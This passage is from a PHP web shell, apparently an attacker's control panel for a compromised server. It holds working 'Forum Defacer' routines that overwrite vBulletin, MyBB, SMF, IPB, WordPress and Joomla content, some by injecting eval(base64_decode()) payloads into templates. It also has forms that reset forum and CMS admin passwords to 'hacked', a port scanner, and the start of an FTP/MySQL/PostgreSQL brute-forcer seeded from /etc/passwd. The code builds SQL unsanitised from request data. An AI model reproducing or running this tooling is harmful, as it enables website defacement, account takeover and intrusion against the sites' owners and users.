  3089.             $arrdata   = $_REQUEST[$fieldname];
  3090.             $str .= " " . $fieldname . " = '" . $arrdata . "'";
  3091.             $rowcount--;
  3092.             if ($rowcount != 0)
  3093.                 $str .= ",";
  3094.         }
  3095.         $str = "update $tablename set" . $str . " where $row=$rowid";
  3096.         mysql_query($str);
  3097.         header("Location:$self?action=viewdata&dbname=$dbname&tablename=$tablename");
  3098.     } else if (isset($_GET['logoutdb'])) {
  3099.         setcookie("dbserver", time() - 60 * 60);
  3100.         setcookie("dbuser", time() - 60 * 60);
  3101.         setcookie("dbpass", time() - 60 * 60);
  3102.         header("Location:$self?database");
  3103.     }
  3104.     // Forum Manager
  3105.     else if (isset($_REQUEST["forum"])) {
  3106. ?>
  3107.                 <center><table><tr><td><a href="<?php
  3108.         echo $self;
  3109. ?>?forum&defaceforum"><font size="4">| Forum Defacer |</font></a></td>
  3110.                 <td><a href="<?php
  3111.         echo $self;
  3112. ?>?forum&passwordchange"><font size="4">| Forum Password Changer |</font></a></td>
  3113.                 </tr></table></center><br>
  3114.                 <?php
  3115.         if (isset($_REQUEST["defaceforum"])) {
  3116.             // Deface Forums
  3117.             if (isset($_POST['forumdeface'])) {
  3118.                 if ($_POST['forumdeface'] == "Hack VB") {
  3119.                     $localhost = $_POST['f1'];
  3120.                     $database  = $_POST['f2'];
  3121.                     $username  = $_POST['f3'];
  3122.                     $password  = $_POST['f4'];
  3123.                     $defaceex  = $_POST['index'];
  3124.                     $prefix    = $_POST['prefix'];
  3125.                     $con       = @mysql_connect($localhost, $username, $password);
  3126.                     $db        = @mysql_select_db($database, $con);
  3127.                     $defaceex  = str_replace('"', '\\"', $defaceex);
  3128.                     $attack    = "{\${eval(base64_decode(\'";
  3129.                     $attack .= base64_encode("echo \"$defaceex\";");
  3130.                     $attack .= "\'))}}{\${exit()}}</textarea>";
  3131.                     if ($prefix == "" || $prefix == null)
  3132.                         $query = "UPDATE template SET template = '$attack'";
  3133.                     else
  3134.                         $query = "UPDATE " . $prefix . "template SET template = '$attack'";
  3135.                     $result = @mysql_query($query, $con);
  3136.                     if ($result) {
  3137.                         echo "<center><font size=4><blink>Vbulletin Forum Defaced Successfully</blink></font></center>";
  3138.                     } else {
  3139.                         echo "<center><font class=txt face=Iceland size=4><blink>Cannot Deface Vbulletin Forum</blink></font></center>";
  3140.                     }
  3141.                 } else if ($_POST['forumdeface'] == "Hack MyBB") {
  3142.                     $localhost = $_POST['f1'];
  3143.                     $database  = $_POST['f2'];
  3144.                     $username  = $_POST['f3'];
  3145.                     $password  = $_POST['f4'];
  3146.                     $defaceex  = $_POST['index'];
  3147.                     $prefix    = $_POST['prefix'];
  3148.                     $con       = @mysql_connect($localhost, $username, $password);
  3149.                     $db        = @mysql_select_db($database, $con);
  3150.                     $attack    = "{\${eval(base64_decode(\'";
  3151.                     $attack .= base64_encode("echo \"$defaceex\";");
  3152.                     $attack .= "\'))}}{\${exit()}}</textarea>";
  3153.                     $attack = str_replace('"', "\\'", $attack);
  3154.                     if ($prefix == "" || $prefix == null)
  3155.                         $query = "UPDATE mybb_templates SET template = '$attack'";
  3156.                     else
  3157.                         $query = "UPDATE " . $prefix . "templates SET template = '$attack'";
  3158.                     $result = @mysql_query($query, $con);
  3159.                     if ($result) {
  3160.                         echo "<center><font size=4><blink>Mybb Forum Defaced Successfully</blink></font></center>";
  3161.                     } else {
  3162.                         echo "<center><font class=txt face=Iceland size=4><blink>Cannot Deface Mybb Forum</blink></font></center>";
  3163.                     }
  3164.                 } else if ($_POST['forumdeface'] == "Hack SMF") {
  3165.                     $localhost = $_POST['f1'];
  3166.                     $database  = $_POST['f2'];
  3167.                     $username  = $_POST['f3'];
  3168.                     $password  = $_POST['f4'];
  3169.                     $defaceex  = $_POST['index'];
  3170.                     $head      = $_POST['head'];
  3171.                     $catid     = $_POST['f5'];
  3172.                     $prefix    = $_POST['prefix'];
  3173.                     $con       = @mysql_connect($localhost, $username, $password);
  3174.                     $db        = @mysql_select_db($database, $con);
  3175.                     if ($prefix == "" || $prefix == null)
  3176.                         $query = "UPDATE boards SET name='$head', description='$defaceex' WHERE id_cat='$catid'";
  3177.                     else
  3178.                         $query = "UPDATE " . $prefix . "boards SET name='$head', description='$defaceex' WHERE id_cat='$catid'";
  3179.                     $result = @mysql_query($query, $con);
  3180.                     if ($result) {
  3181.                         echo "<center><font size=4><blink>SMF Forum Index Changed Successfully</blink></font></center>";
  3182.                     } else {
  3183.                         echo "<center><font class=txt face=Iceland size=4><blink>Cannot Deface SMF Forum</blink></font></center>";
  3184.                     }
  3185.                 } else if ($_POST['forumdeface'] == "Hack IPB") {
  3186.                     $localhost = $_POST['f1'];
  3187.                     $database  = $_POST['f2'];
  3188.                     $username  = $_POST['f3'];
  3189.                     $password  = $_POST['f4'];
  3190.                     $defaceex  = $_POST['index'];
  3191.                     $head      = $_POST['head'];
  3192.                     $catid     = $_POST['f5'];
  3193.                     $IPB       = "forums";
  3194.                     $con       = @mysql_connect($localhost, $username, $password);
  3195.                     $db        = @mysql_select_db($database, $con);
  3196.                     $query     = "UPDATE $IPB SET name = '$head', description = '$defaceex' where id = '$catid'";
  3197.                     $result    = @mysql_query($query, $con);
  3198.                     if ($result) {
  3199.                         echo "<center><font size=4><blink>Forum Defaced Successfully</blink></font></center>";
  3200.                     } else {
  3201.                         echo "<center><font class=txt face=Iceland size=4><blink>Cannot Deface Forum</blink></font></center>";
  3202.                     }
  3203.                 } else if ($_POST['forumdeface'] == "Hack wordpress") {
  3204.                     $localhost = $_POST['f1'];
  3205.                     $database  = $_POST['f2'];
  3206.                     $username  = $_POST['f3'];
  3207.                     $password  = $_POST['f4'];
  3208.                     $catid     = $_POST['f5'];
  3209.                     $defaceex  = $_POST['index'];
  3210.                     $head      = $_POST['head'];
  3211.                     $prefix    = $_POST['prefix'];
  3212.                     $con       = @mysql_connect($localhost, $username, $password);
  3213.                     $db        = @mysql_select_db($database, $con);
  3214.                     if ($prefix == "" || $prefix == null) {
  3215.                         if (isset($_POST["all"]) && $_POST["all"] == "All")
  3216.                             $query = "UPDATE wp_posts SET post_title='$head', post_content='$defaceex'";
  3217.                         else
  3218.                             $query = "UPDATE wp_posts SET post_title='$head', post_content='$defaceex' WHERE ID='$catid'";
  3219.                     } else {
  3220.                         if (isset($_POST["all"]) && $_POST["all"] == "All")
  3221.                             $query = "UPDATE " . $prefix . "posts SET post_title='$head', post_content='$defaceex'";
  3222.                         else
  3223.                             $query = "UPDATE " . $prefix . "posts SET post_title='$head', post_content='$defaceex' WHERE ID='$catid'";
  3224.                     }
  3225.                     $result = @mysql_query($query, $con);
  3226.                     if ($result) {
  3227.                         echo "<center><font size=4><blink>Wordpress Defaced Successfully</blink></font></center>";
  3228.                     } else {
  3229.                         echo "<center><font class=txt face=Iceland size=4><blink>Cannot Deface Wordpress</blink></font></center>";
  3230.                     }
  3231.                 } else if ($_POST['forumdeface'] == "Hack Joomla") {
  3232.                     $localhost = $_POST['f1'];
  3233.                     $database  = $_POST['f2'];
  3234.                     $username  = $_POST['f3'];
  3235.                     $password  = $_POST['f4'];
  3236.                     $catid     = $_POST['f5'];
  3237.                     $defaceex  = $_POST['index'];
  3238.                     $head      = $_POST['head'];
  3239.                     $prefix    = $_POST['prefix'];
  3240.                     $con       = @mysql_connect($localhost, $username, $password);
  3241.                     $db        = @mysql_select_db($database, $con);
  3242.                     if ($prefix == "" || $prefix == null) {
  3243.                         if (isset($_POST["all"]) && $_POST["all"] == "All")
  3244.                             $query = "UPDATE content SET title='$head', introtext='$defaceex'";
  3245.                         else
  3246.                             $query = "UPDATE content SET title='$head', introtext='$defaceex' WHERE ID='$catid'";
  3247.                     } else {
  3248.                         if (isset($_POST["all"]) && $_POST["all"] == "All")
  3249.                             $query = "UPDATE " . $prefix . "content SET title='$head', introtext='$defaceex'";
  3250.                         else
  3251.                             $query = "UPDATE " . $prefix . "content SET title='$head', introtext='$defaceex' WHERE ID='$catid'";
  3252.                     }
  3253.                     $result = @mysql_query($query, $con);
  3254.                     if ($result) {
  3255.                         echo "<center><font size=4><blink>Joomla Defaced Successfully</blink></font></center>";
  3256.                     } else {
  3257.                         echo "<center><font class=txt face=Iceland size=4><blink>Cannot Deface Joomla</blink></font></center>";
  3258.                     }
  3259.                 }
  3260.             }
  3261. ?>
  3262.                 <center>
  3263.                         <font class="tblheads" size="4">Vbulletin Forum Index Changer</font>
  3264.                         <form action="<?php
  3265.             echo $self;
  3266. ?>" method = "POST">
  3267.                         <table border = "1" width="50%" height="316" style="text-align: center;" class=tbl align="center">
  3268.                                 <tr>
  3269.                                         <td height="105" width="780"> <p align="center"><b>Host : </b><input class="sbox" type="text" name="f1" size="20" value="localhost">&nbsp;<b>  DataBase&nbsp;:</b> <input type ="text" class="sbox" name = "f2" size="20"></p> <p align="center">&nbsp;<b>User :</b> <input type ="text" class="sbox" name = "f3" size="20"> <b>&nbsp;Password :</b>&nbsp; <input class="sbox" type ="text" name = "f4" size="20">
  3270.                                 <p>
  3271.                                         Table Prefix : <input type="text" name="prefix" class="sbox"> (Optional)</td>
  3272.                                 </p>
  3273.                                 </tr>
  3274.                                 <tr>
  3275.                                         <td height="167" width="780"><p align="center">&nbsp;<textarea class="box" name="index" cols=53 rows=8>lol ! You Are Hacked !!!!</textarea><p align="center"><input type = "submit" class="but" value = "Hack VB" name="forumdeface"></td>
  3276.                                 </tr>
  3277.                         </table>
  3278.                         </form>
  3279.                         <font class="tblheads" size="4">MyBB Forum Index Changer</font>
  3280.                         <form action="<?php
  3281.             echo $self;
  3282. ?>" method = "POST">
  3283.                         <table border = "1" width="50%" height="316" style="text-align: center;" class=tbl align="center">
  3284.                                 <tr>
  3285.                                         <td height="105" width="780"> <p align="center"><b>Host : </b><input class="sbox" type="text" name="f1" size="20" value="localhost">&nbsp;<b>  DataBase&nbsp;:</b> <input type ="text" class="sbox" name = "f2" size="20"></p> <p align="center">&nbsp;<b>User :</b> <input type ="text" class="sbox" name = "f3" size="20"> <b>&nbsp;Password :</b>&nbsp; <input class="sbox" type ="text" name = "f4" size="20">
  3286.                                         <p>
  3287.                                                 Table Prefix : <input type="text" name="prefix" value="mybb_" class="sbox"> (Optional)</td>
  3288.                                         </p>  
  3289.                                         </td>
  3290.                                 </tr>
  3291.                                 <tr>
  3292.                                         <td height="167" width="780"><p align="center">&nbsp;<textarea class="box" name="index" cols=53 rows=8>lol ! You Are Hacked !!!!</textarea><p align="center"><input type = "submit" class="but" value = "Hack MyBB" name="forumdeface"></td>
  3293.                                 </tr>
  3294.                         </table>
  3295.                         </form>
  3296.                         <font class="tblheads" size="4">SMF Forum Index Changer</font>
  3297.                         <form action="<?php
  3298.             echo $self;
  3299. ?>" method = "POST">
  3300.                         <input type="hidden" name="forum">
  3301.                         <input type="hidden" name="defaceforum">
  3302.                         <table border = "1" width="50%" height="316" style="text-align: center;" class=tbl align="center">
  3303.                                 <tr>
  3304.                                         <td height="105" width="780"> <p align="center"><b>Host : </b><input class="sbox" type="text" name="f1" size="20" value="localhost">&nbsp;<b>  DataBase&nbsp;:</b> <input type ="text" class="sbox" name = "f2" size="20"></p> <p align="center">&nbsp;<b>User :</b> <input type ="text" class="sbox" name = "f3" size="20"> <b>&nbsp;Password :</b>&nbsp; <input class="sbox" type ="text" name = "f4" size="20">
  3305.                                         <p>
  3306.                                                 Table Prefix : <input type="text" name="prefix" value="smf_" class="sbox"> (Optional)</td>
  3307.                                         </p>
  3308.                                         </td>
  3309.                                 </tr>
  3310.                                 <tr>
  3311.                                         <td height="105" width="780"><p align="center"><b>Head : </b><input class="sbox" type="text" name="head" size="20" value="Hacked">&nbsp; <b>Kate ID : </b><input class="sbox" type="text" name="f5" size="20" value="1"></p><p align="center"><textarea name="index" rows="8" cols="53" class="box"><b>lol ! You Are Hacked !!!!</b></textarea></p><input type = "submit" class="but" value = "Hack SMF" name="forumdeface"></p></td>
  3312.                                 </tr>
  3313.                         </table>
  3314.                         </form>
  3315.                         <font class="tblheads" size="4">IPB Forum Index Changer</font>
  3316.                         <form action="<?php
  3317.             echo $self;
  3318. ?>" method = "POST">
  3319.                         <input type="hidden" name="forum">
  3320.                         <input type="hidden" name="defaceforum">
  3321.                         <table border = "1" width="50%" height="316" style="text-align: center;" class=tbl align="center">
  3322.                                 <tr>
  3323.                                         <td height="105" width="780"> <p align="center"><b>Host : </b><input class="sbox" type="text" name="f1" size="20" value="localhost">&nbsp;<b>  DataBase&nbsp;:</b> <input type ="text" class="sbox" name = "f2" size="20"></p> <p align="center">&nbsp;<b>User :</b> <input type ="text" class="sbox" name = "f3" size="20"> <b>&nbsp;Password :</b>&nbsp; <input class="sbox" type ="text" name = "f4" size="20"></td>
  3324.                                 </tr>
  3325.                                 <tr>
  3326.                                         <td height="167" width="780"><p align="center"><b>Head : </b><input class="sbox" type="text" name="head" size="20" value="Hacked">&nbsp; <b>Kate ID : </b><input class="sbox" type="text" name="f5" size="20" value="1"></p><p align="center">&nbsp;<textarea class="box" name="index" cols=53 rows=8><b>lol ! You Are Hacked !!!!</b></textarea><p align="center"><input type = "submit" class="but" value = "Hack IPB" name="forumdeface"></td>
  3327.                                 </tr>
  3328.                         </table>
  3329.                         </form>        
  3330.                         <font class="tblheads" size="4">Wordpress Index Changer</font>
  3331.                         <form action="<?php
  3332.             echo $self;
  3333. ?>" method = "POST">
  3334.                         <input type="hidden" name="forum">
  3335.                         <input type="hidden" name="defaceforum">
  3336.                         <table border = "1" width="50%" height="316" style="text-align: center;" class=tbl align="center">
  3337.                                 <tr>
  3338.                                         <td height="105" width="780"> <p align="center"><b>Host : </b><input class="sbox" type="text" name="f1" size="20" value="localhost">&nbsp;<b>  DataBase&nbsp;:</b> <input type ="text" class="sbox" name = "f2" size="20"></p> <p align="center">&nbsp;<b>User :</b> <input type ="text" class="sbox" name = "f3" size="20"> <b>&nbsp;Password :</b>&nbsp; <input class="sbox" type ="text" name = "f4" size="20">
  3339.                                         <p>
  3340.                                                 Table Prefix : <input type="text" name="prefix" value="wp_" class="sbox"> (Optional)</td>
  3341.                                         </p>
  3342.                                         </td>
  3343.                                 </tr>
  3344.                                 <tr>
  3345.                                         <td height="105" width="780"><p align="center"><b>Head : </b><input class="sbox" type="text" name="head" size="20" value="Hacked">&nbsp; <b>Kate ID : </b><input class="sbox" type="text" name="f5" size="20" value="1">&nbsp;<label><input type="checkbox" name="all" value="All" checked="checked"> All</label><p align="center"><textarea class="box" name="index" rows="8" cols="53"><b>lol ! You Are Hacked !!!!</b></textarea></p>
  3346.                                         <br><input type = "submit" class="but" value = "Hack wordpress" name="forumdeface"></td>
  3347.                                 </tr>
  3348.                         </table>
  3349.                         </form>
  3350.                         <font class="tblheads" size="4">Joomla Index Changer</font>
  3351.                         <form action="<?php
  3352.             echo $self;
  3353. ?>" method = "POST">
  3354.                         <input type="hidden" name="forum">
  3355.                         <input type="hidden" name="defaceforum">
  3356.                         <table border = "1" width="50%" height="316" style="text-align: center;" class=tbl align="center">
  3357.                                 <tr>
  3358.                                         <td height="105" width="780"> <p align="center"><b>Host : </b><input class="sbox" type="text" name="f1" size="20" value="localhost">&nbsp;<b>  DataBase&nbsp;:</b> <input type ="text" class="sbox" name = "f2" size="20"></p> <p align="center">&nbsp;<b>User :</b> <input type ="text" class="sbox" name = "f3" size="20"> <b>&nbsp;Password :</b>&nbsp; <input class="sbox" type ="text" name = "f4" size="20">
  3359.                                         <p>
  3360.                                                 Table Prefix : <input type="text" name="prefix" value="jos_" class="sbox"> (Optional)</td>
  3361.                                         </p>
  3362.                                         </td>
  3363.                                 </tr>
  3364.                                 <tr>
  3365.                                         <td height="105" width="780"><p align="center"><b>Head : </b><input class="sbox" type="text" name="head" size="20" value="Hacked">&nbsp; <b>Kate ID : </b><input class="sbox" type="text" name="f5" size="20" value="1">&nbsp;<label><input type="checkbox" name="all" value="All" checked="checked"> All</label><p align="center"><textarea class="box" name="index" rows="8" cols="53"><b>lol ! You Are Hacked !!!!</b></textarea></p>
  3366.                                         <br><input type = "submit" class="but" value = "Hack Joomla" name="forumdeface"></td>
  3367.                                 </tr>
  3368.                         </table>
  3369.                         </form>
  3370.                 </center>      
  3371.         <?php
  3372.         } else if (isset($_GET["passwordchange"])) {
  3373.             echo "<center>";
  3374.             if (isset($_GET['changed'])) {
  3375. ?><font class="txt"><blink>Password Changed Successfully</blink></font><br><br><?php
  3376.             } else if (isset($_GET['cannotchange'])) {
  3377. ?><blink>Cannot Change Password</blink><br><br> <?php
  3378.             }
  3379. ?>
  3380.                         <font class="tblheads" size="4">Vbulletin Forum Password Changer</font>
  3381.                         <form action="<?php
  3382.             echo $self;
  3383. ?>" method = "POST">
  3384.                         <input type="hidden"  name="forums" value="vb">
  3385.                         <table border = "1" width="50%" height="246" style="text-align: center;" class=tbl align="center">
  3386.                                 <tr>
  3387.                                         <td height="100" width="780"> <p align="center"><b>Host : </b><input class="sbox" type="text" name="f1" size="20" value="localhost">&nbsp;<b>  DataBase&nbsp;:</b> <input type ="text" class="sbox" name = "f2" size="20"></p> <p align="center">&nbsp;<b>User :</b> <input type ="text" class="sbox" name = "f3" size="20"> <b>&nbsp;Password :</b>&nbsp; <input class="sbox" type ="text" name = "f4" size="20">
  3388.                                 <p>
  3389.                                         Table Prefix : <input type="text" name="prefix" class="sbox"> (Optional)</td>
  3390.                                 </p>
  3391.                                 </tr>
  3392.                                 <tr>
  3393.                                         <td height="70" width="780"><p align="center"><b>User ID :</b> <input class="sbox" type="text" name="uid" size="20" value="1">&nbsp;<b>New Password :</b> <input type ="text" class="sbox" name = "newpass" size="20" value="hacked"></p><input type = "submit" class="but" value = "Change It" name="forumpass"></td>
  3394.                                 </tr>
  3395.                         </table>
  3396.                         </form>
  3397.                         <font class="tblheads" size="4">MyBB Forum Password Changer</font>
  3398.                         <form action="<?php
  3399.             echo $self;
  3400. ?>" method = "POST" name="mybb">
  3401.                         <input type="hidden"  name="forums" value="mybb">
  3402.                         <table border = "1" width="50%" height="246" style="text-align: center;" class=tbl align="center">
  3403.                                 <tr>
  3404.                                         <td height="100" width="780"> <p align="center"><b>Host : </b><input class="sbox" type="text" name="f1" size="20" value="localhost">&nbsp;<b>  DataBase&nbsp;:</b> <input type ="text" class="sbox" name = "f2" size="20"></p> <p align="center">&nbsp;<b>User :</b> <input type ="text" class="sbox" name = "f3" size="20"> <b>&nbsp;Password :</b>&nbsp; <input class="sbox" type ="text" name = "f4" size="20">
  3405.                                 <p>
  3406.                                         Table Prefix : <input type="text" name="prefix" value="mybb_" class="sbox"> (Optional)</td>
  3407.                                 </p>
  3408.                                 </tr>
  3409.                                 <tr>
  3410.                                         <td height="70" width="780"><p align="center"><b>User ID :</b> <input class="sbox" type="text" name="uid" size="20" value="1">&nbsp;<b>New Password :</b> <input type ="text" class="sbox" name = "newpass" size="20" value="hacked"></p><input type = "submit" class="but" value = "Change It" name="forumpass"></td>
  3411.                                 </tr>
  3412.                         </table>
  3413.                         </form>
  3414.                         <font class="tblheads" size="4">SMF Forum Password Changer</font>
  3415.                         <form action="<?php
  3416.             echo $self;
  3417. ?>" method = "POST" name="smf">
  3418.                         <input type="hidden"  name="forums" value="smf">
  3419.                         <table border = "1" width="50%" height="246" style="text-align: center;" class=tbl align="center">
  3420.                                 <tr>
  3421.                                         <td height="100" width="780"> <p align="center"><b>Host : </b><input class="sbox" type="text" name="f1" size="20" value="localhost">&nbsp;<b>  DataBase&nbsp;:</b> <input type ="text" class="sbox" name = "f2" size="20"></p> <p align="center">&nbsp;<b>User :</b> <input type ="text" class="sbox" name = "f3" size="20"> <b>&nbsp;Password :</b>&nbsp; <input class="sbox" type ="text" name = "f4" size="20">
  3422.                                 <p>
  3423.                                         Table Prefix : <input type="text" name="prefix" value="smf_" class="sbox"> (Optional)</td>
  3424.                                 </p>
  3425.                                 </tr>
  3426.                                 <tr>
  3427.                                         <td height="70" width="780"><p align="center"><b>User ID :</b> <input class="sbox" type="text" name="uid" size="20" value="1">&nbsp;<b>New Password :</b> <input type ="text" class="sbox" name = "newpass" size="20" value="hacked"></p><input type = "submit" class="but" value = "Change It" name="forumpass"></td>
  3428.                                 </tr>
  3429.                         </table>
  3430.                         </form>
  3431.                         <font class="tblheads" size="4">Phpbb Forum Password Changer</font>
  3432.                         <form action="<?php
  3433.             echo $self;
  3434. ?>" method = "POST">
  3435.                         <input type="hidden"  name="forums" value="phpbb">
  3436.                         <table border = "1" width="50%" height="246" style="text-align: center;" class=tbl align="center">
  3437.                                 <tr>
  3438.                                         <td height="100" width="780"> <p align="center"><b>Host : </b><input class="sbox" type="text" name="f1" size="20" value="localhost">&nbsp;<b>  DataBase&nbsp;:</b> <input type ="text" class="sbox" name = "f2" size="20"></p> <p align="center">&nbsp;<b>User :</b> <input type ="text" class="sbox" name = "f3" size="20"> <b>&nbsp;Password :</b>&nbsp; <input class="sbox" type ="text" name = "f4" size="20">
  3439.                                 <p>
  3440.                                         Table Prefix : <input type="text" name="prefix" value="phpbb_" class="sbox"> (Optional)</td>
  3441.                                 </p>
  3442.                                 </tr>
  3443.                                 <tr>
  3444.                                         <td height="70" width="780"><p align="center"><b>User ID :</b> <input class="sbox" type="text" name="uid" size="20" value="1">&nbsp;<b>New Password :</b> <input type ="text" class="sbox" name = "newpass" size="20" value="hacked"></p><input type = "submit" class="but" value = "Change It" name="forumpass"></td>
  3445.                                 </tr>
  3446.                         </table>
  3447.                         </form>
  3448.                         <font class="tblheads" size="4">IPB Forum Password Changer</font>
  3449.                         <form action="<?php
  3450.             echo $self;
  3451. ?>" method = "POST" name="ipb">
  3452.                         <input type="hidden"  name="forums" value="ipb">
  3453.                         <table border = "1" width="50%" height="246" style="text-align: center;" class=tbl align="center">
  3454.                                 <tr>
  3455.                                         <td height="100" width="780"> <p align="center"><b>Host : </b><input class="sbox" type="text" name="f1" size="20" value="localhost">&nbsp;<b>  DataBase&nbsp;:</b> <input type ="text" class="sbox" name = "f2" size="20"></p> <p align="center">&nbsp;<b>User :</b> <input type ="text" class="sbox" name = "f3" size="20"> <b>&nbsp;Password :</b>&nbsp; <input class="sbox" type ="text" name = "f4" size="20">
  3456.                                 <p>
  3457.                                         Table Prefix : <input type="text" name="prefix" class="sbox"> (Optional)</td>
  3458.                                 </p>
  3459.                                 </tr>
  3460.                                 <tr>
  3461.                                         <td height="70" width="780"><p align="center"><b>User ID :</b> <input class="sbox" type="text" name="uid" size="20" value="1">&nbsp;<b>New Password :</b> <input type ="text" class="sbox" name = "newpass" size="20" value="hacked"></p><input type = "submit" class="but" value = "Change It" name="forumpass"></td>
  3462.                                 </tr>
  3463.                         </table>
  3464.                         </form>        
  3465.                         <a name="wordp" id="wordp">
  3466.                         <font class="tblheads" size="4">Wordpress Password Changer</font>
  3467.                         <form action="<?php
  3468.             echo $self;
  3469. ?>" method = "POST" name="wp">
  3470.                         <input type="hidden"  name="forums" value="wp">
  3471.                         <a name="wordp" id="wordp">
  3472.                         <table border = "1" width="50%" height="246" style="text-align: center;" class=tbl align="center">
  3473.                                 <tr>
  3474.                                         <td height="100" width="780"> <p align="center"><b>Host : </b><input class="sbox" type="text" name="f1" size="20" value="localhost">&nbsp;<b>  DataBase&nbsp;:</b> <input type ="text" class="sbox" name = "f2" size="20"></p> <p align="center">&nbsp;<b>User :</b> <input type ="text" class="sbox" name = "f3" size="20"> <b>&nbsp;Password :</b>&nbsp; <input class="sbox" type ="text" name = "f4" size="20">
  3475.                                 <p>
  3476.                                         Table Prefix : <input type="text" name="prefix" value="wp_" class="sbox"> (Optional)</td>
  3477.                                 </p>
  3478.                                 </tr>
  3479.                                 <tr>
  3480.                                         <td height="70" width="780"><p align="center"><b>User ID :</b> <input class="sbox" type="text" name="uid" size="20" value="1"></p><p><b>New Username :</b> <input class="sbox" type="text" name="uname" size="20" value="admin">&nbsp;<b>New Password :</b> <input type ="text" class="sbox" name = "newpass" size="20" value="hacked"></p><input type = "submit" class="but" value = "Change It" name="forumpass"></td>
  3481.                                 </tr>
  3482.                         </table>
  3483.                         </form>
  3484.                         <div name="jooml" id="jooml">
  3485.                         <font class="tblheads" size="4">Joomla Password Changer</font>
  3486.                         <form action="<?php
  3487.             echo $self;
  3488. ?>" method = "POST">
  3489.                         <input type="hidden"  name="forums" value="joomla">
  3490.                         <table border = "1" width="50%" height="246" style="text-align: center;" class=tbl align="center">
  3491.                                 <tr>
  3492.                                         <td height="100" width="780"> <p align="center"><b>Host : </b><input class="sbox" type="text" name="f1" size="20" value="localhost">&nbsp;<b>  DataBase&nbsp;:</b> <input type ="text" class="sbox" name = "f2" size="20"></p> <p align="center">&nbsp;<b>User :</b> <input type ="text" class="sbox" name = "f3" size="20"> <b>&nbsp;Password :</b>&nbsp; <input class="sbox" type ="text" name = "f4" size="20">
  3493.                                 <p>
  3494.                                         Table Prefix : <input type="text" name="prefix" value="jos_" class="sbox"> (Optional)</td>
  3495.                                 </p>
  3496.                                 </tr>
  3497.                                 <tr>
  3498.                                         <td height="70" width="780"><p align="center"><b>New Username :</b> <input class="sbox" type="text" name="uname" size="20" value="admin">&nbsp;<b>New Password :</b> <input type ="text" class="sbox" name = "newpass" size="20" value="hacked"></p><input type = "submit" class="but" value = "Change It" name="forumpass"></td>
  3499.                                 </tr>
  3500.                         </table>
  3501.                         </form>
  3502.                         <?php
  3503.             if (isset($_GET['changed'])) {
  3504. ?><font size="3"><blink>Password Changed Successfully</blink></font><br><br><?php
  3505.             } else if (isset($_GET['cannotchange'])) {
  3506. ?><font class=txt face=Iceland size="3"><blink>Cannot Change Password</blink></font><br><br> <?php
  3507.             }
  3508. ?>
  3509.                 </center>      
  3510.                         <?php
  3511.         }
  3512.     }
  3513.     // Mail
  3514.     else if (isset($_GET['tools'])) {
  3515. ?>
  3516.                 <center>
  3517.                 <table class=tbl cellpadding="5" border="1" style="width:50%;">
  3518.                         <tr>
  3519.                                 <td colspan="2" align="center"><b><font size='4'>Port Scanner<br></font></b></td>
  3520.                         </tr>
  3521.                         <tr>
  3522.                                 <td align="center">
  3523.                                 <form name='scanner' method='post'>
  3524.                                 <input class="sbox" type='text' name='host' value='<?php
  3525.         echo $_SERVER["SERVER_ADDR"];
  3526. ?>' >
  3527.                                 </td>
  3528.                                 <td align="center">
  3529.                                 <select class="sbox" name='protocol'>
  3530.                                         <option value='tcp'>tcp</option>
  3531.                                         <option value='udp'>udp</option>
  3532.                                 </select>
  3533.                                 </td>
  3534.                         <tr>
  3535.                                 <td colspan="2" align="center"><input class="but" type='submit' value='Scan Ports'></td>
  3536.                         </tr>
  3537.                         </form>
  3538.                 <?php
  3539.         if (isset($_POST['host']) && isset($_POST['protocol'])) {
  3540.             echo "<tr><td colspan=2><font size='3' face='Verdana'>Open Ports: ";
  3541.             $host    = $_POST['host'];
  3542.             $proto   = $_POST['protocol'];
  3543.             $myports = array(
  3544.                 "21",
  3545.                 "22",
  3546.                 "23",
  3547.                 "25",
  3548.                 "59",
  3549.                 "80",
  3550.                 "113",
  3551.                 "135",
  3552.                 "445",
  3553.                 "1025",
  3554.                 "5000",
  3555.                 "5900",
  3556.                 "6660",
  3557.                 "6661",
  3558.                 "6662",
  3559.                 "6663",
  3560.                 "6665",
  3561.                 "6666",
  3562.                 "6667",
  3563.                 "6668",
  3564.                 "6669",
  3565.                 "7000",
  3566.                 "8080",
  3567.                 "8018"
  3568.             );
  3569.             for ($current = 0; $current <= 23; $current++) {
  3570.                 $currents = $myports[$current];
  3571.                 $service  = getservbyport($currents, $proto);
  3572.                 // Try to connect to port
  3573.                 $result   = fsockopen($host, $currents, $errno, $errstr, 1);
  3574.                 // Show results
  3575.                 if ($result) {
  3576.                     echo "<font class=txt face=Iceland size=3>$currents, </font>";
  3577.                 }
  3578.             }
  3579.         }
  3580.         echo "</td></tr></table>";
  3581. ?>
  3582.                 <br>
  3583.                 <form action="<?php
  3584.         echo $self;
  3585. ?>" method="get">
  3586.                 <input type="hidden" name="tools">
  3587.                 <table class=tbl cellpadding="5" border="1" style="width:50%;">
  3588.                         <tr>
  3589.                                 <td colspan="2" align="center"><font size="4">BruteForce</font></td>
  3590.                         </tr>
  3591.                         <tr>
  3592.                                 <td>Type : </td>
  3593.                                 <td>
  3594.                                         <select name="prototype" class="sbox">
  3595.                                                 <option value="ftp">FTP</option>
  3596.                                                 <option value="mysql">MYSQL</option>
  3597.                                                 <option value="postgresql">PostgreSql</option>
  3598.                                         </select>
  3599.                                 </td>
  3600.                         </tr>
  3601.                         <tr>
  3602.                                 <td>Server <b>:</b> Port : </td>
  3603.                                 <td><input type="text" name="serverport" value="<?php
  3604.         echo $_SERVER["SERVER_ADDR"];
  3605. ?>" class="sbox"></td>
  3606.                         </tr>
  3607.                         <tr>
  3608.                                 <td valign="middle">Brute type : </td>
  3609.                                 <td><label><input type=radio name=type value="1" checked> /etc/passwd</label><label><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label><hr color="#1B1B1B">
  3610.                                 <input type=radio name=type value="2"> Dictionary</label><br>
  3611.                                 Login : &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type="text" name="login" value="root" class="sbox"><br>
  3612.                                 Dictionary : <input type="text" name="dict" value="<?php
  3613.         echo getcwd() . $directorysperator;
  3614. ?>passwd.txt" class="sbox">
  3615.                                 </td>
  3616.                         </tr>
  3617.                         <tr>
  3618.                                 <td colspan="2" align="center"><input type="submit" value="Attack >>" class="but"></td>
  3619.                         </tr>
  3620.                         </form>
  3621.                 <?php
  3622.         if (isset($_GET['prototype'])) {
  3623.             echo '<tr><td colspan=2><h1>Results</h1><div><span>Type:</span> ' . htmlspecialchars($_GET['prototype']) . ' <span><br>Server:</span> ' . htmlspecialchars($_GET['serverport']) . '<br>';
